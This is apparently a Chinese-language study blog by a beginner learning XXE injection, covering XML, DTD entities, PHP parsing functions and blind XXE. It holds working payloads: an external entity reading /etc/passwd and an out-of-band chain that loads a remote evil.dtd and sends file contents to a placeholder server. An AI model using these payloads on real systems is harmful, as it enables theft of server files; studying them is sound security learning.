菜鸡脑容量有限,学完删
XXE全称balabala,即xml外部实体注入
为此首先需要了解xml,在w3school学习后做了些笔记以备忘
其次需要学习php伪协议、php解析xml的一些功能函数
还有
xml
很像html,用于标记文件,使其具有结构性,是标记性语言(类似ppt….个p)
但xml是为了传输、存储数据,而8是显示数据
xml不做任何事情,也就是纯文本,用来存储、传输信息,类似json
xml结构
eg:
1 2 3 4 5 6 7 8 9
| <?xml version="1.0" encoding="UTF-8" standalone="yes"?> <bookstore> <book category="COOKING"> <title>Everyday Italian</title> <author>Giada De Laurentiis</author> <year>2005</year> <price>30.00</price> </book> </bookstore>
|
总结:xml有根元素属性,即必须包含根元素,每个元素阔以有value和属性
DTD
定义xml文档的格式规范
1 2 3 4 5 6 7
| <?xml version="1.0"?> <!DOCTYPE message [ <!ELEMENT message (receiver ,sender ,header ,msg)> <!ELEMENT receiver (#PCDATA)> <!ELEMENT sender (#PCDATA)> <!ELEMENT header (#PCDATA)> <!ELEMENT msg (#PCDATA)>
|
上述格式是固定的,然后PCDATA和CDATA代指传入的文本,PCDATA文本里的标签会被解析,而CDATA则8会
可分为内部DTD和外部DTD
内部DTD
内部DTD就是xml文档和DTD写在一块,eg:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| <?xml version="1.0"?> <!DOCTYPE note [<!--定义此文档是 note 类型的文档--> <!ELEMENT note (to,from,heading,body)><!--定义note元素有四个元素--> <!ELEMENT to (#PCDATA)><!--定义to元素为”#PCDATA”类型--> <!ELEMENT from (#PCDATA)><!--定义from元素为”#PCDATA”类型--> <!ELEMENT head (#PCDATA)><!--定义head元素为”#PCDATA”类型--> <!ELEMENT body (#PCDATA)><!--定义body元素为”#PCDATA”类型--> ]> <note> <to>Y0u</to> <from>@re</from> <head>v3ry</head> <body>g00d!</body> </note>
|
外部DTD
外部则是引用外部文件,通过如下语法引入:
1
| <!DOCTYPE root-element SYSTEM "filename">
|
DTD属性
eg:
DTD:
1
| <!ATTLIST payment Luckey CDATA "Q">
|
XML实例:
DTD实体
大致阔以当变量理解,由name和value组成,有通用实体和参数实体之分,也有内部实体和外部实体之分
通用实体和参数实体
通用实体: 用 &实体名; 来引用实体,就是在DTD中定义的普通实体,这个实体在xml文档中被引用
参数实体: 用 % 实体名 (注意%后的空格)来在DTD内定义实体,而这个实体只能在DTD内引用(通用实体则能在xml文档里引用),引用则是通过 % 实体名; 实现(注意’;’)
(参数实体也阔以引用外部实体,它在blindxxe里很有用)
声明方法:
引用方法:
引用通用实体:
声明参数实体:
1
| <!ATTLIST % payment Lucky CDATA "Q">
|
引用参数实体:
内部实体和外部实体
内部实体:
eg:
1 2 3 4 5 6
| <?xml version = "1.0" encoding = "utf-8"?> <!DOCTYPE test [ <!ENTITY writer "Dawn"> <!ENTITY c0pyright "Copyright W3School.com.cn"> ]> <test>&writer;&c0pyright;</test>
|
外部实体: 用来引入外部资源。有SYSTEM和PUBLIC两个关键字,表示实体来自本地计算机还是公共计算机
且外部实体支持http、file等协议
1
| <!ENTITY 实体名称 SYSTEM "URI/URL">
|
Or:
1
| <!ENTITY 实体名称 PUBLIC "public_ID" "URI">
|
外部实体示例代码:
1 2 3 4 5 6
| <?xml version = "1.0" encoding = "utf-8"?> <!DOCTYPE test [ <!ENTITY file SYSTEM "file:///etc/passwd"> <!ENTITY c0pyright SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd"> ]> <author>&file;&c0pyright;</author>
|
tips
实体引用
在xml里,如果把’<’’>’之类的字符直接放进去,会被解析,然后出现错误,为此要用实体引用来代替(类似转义)
< < 小于
大于
& & 和号
' ‘ 单引号
“ “ 引号
eg:
1
| <message>100<1000</message>
|
php解析xml的函数
DOMDocument()
PHP5中提供了DOMDocument类对XML的解析
simplexml_import_dom()
simplexml_import_dom($dom)获取XML文档节点,如果成功则返回SimpleXMLElement对象
libxml_disable_entity_loader(false); #- 禁用加载外部实体的功能,默认为True,所以学xxe真的能用得上吗(萌新日常怀疑)
simple_xml_load_string(): 转换形式良好的 XML 字符串为 SimpleXMLElement 对象,然后输出对象的键和元素
XXE盲注
在刷了一些比较简单的题后,开始进入盲注,先学习下姿势的原理(看bw大佬的文章)
首先需要了解1个报错
1 2 3 4 5 6 7 8 9
| <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE roottag [ <!ENTITY % start "<![CDATA["> <!ENTITY % goodies SYSTEM "file:///xxx.txt"> <!ENTITY % end "]]>"> <!ENTITY all "%start;%goodies;%end;"> ]> <roottag>&all;</roottag>
|
这样做会报错,原因是我也没看懂…..总之需要在外部实体拼接后再在DTD中调用,也就是下面的做法,引用外部服务器里的文件
1 2 3 4 5 6 7 8 9 10 11 12 13
| <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE roottag [ <!ENTITY % start "<![CDATA["> <!ENTITY % goodies SYSTEM "file:///xxx.txt"> <!ENTITY % end "]]>"> <!ENTITY % dtd SYSTEM "http://ip/evil.dtd"> %dtd; ]> <roottag>&all;</roottag>
<?xml version="1.0" encoding="UTF-8"?> <!ENTITY all "%start;%goodies;%end;">
|
无回显:
1 2 3 4 5 6 7 8 9
| <!ENTITY % file SYSTEM "file:///xxx.txt"> <!ENTITY % int "<!ENTITY % send SYSTEM 'http://ip?p=%file;'>">
<!DOCTYPE convert [ <!ENTITY % remote SYSTEM "http://ip/evil.dtd"> %remote;%int;%send; ]>
|
如上,先引用remote,于是引用了evil.dtd,就相当于将evil.dtd里的内容拼接到payload里
然后再引用int,int声明了send,再引用了send,send就执行了 []http://ip=%file;[
]的操作,将file.txt发送到你的服务器,解决了xxe无回显的问题,tttttttttttttqqqqqqllllllllllllll
3.22 那么问题来了,就是我还没个服务器….
有台旧电脑,明天坐教室后排好好整整,八字还没一撇……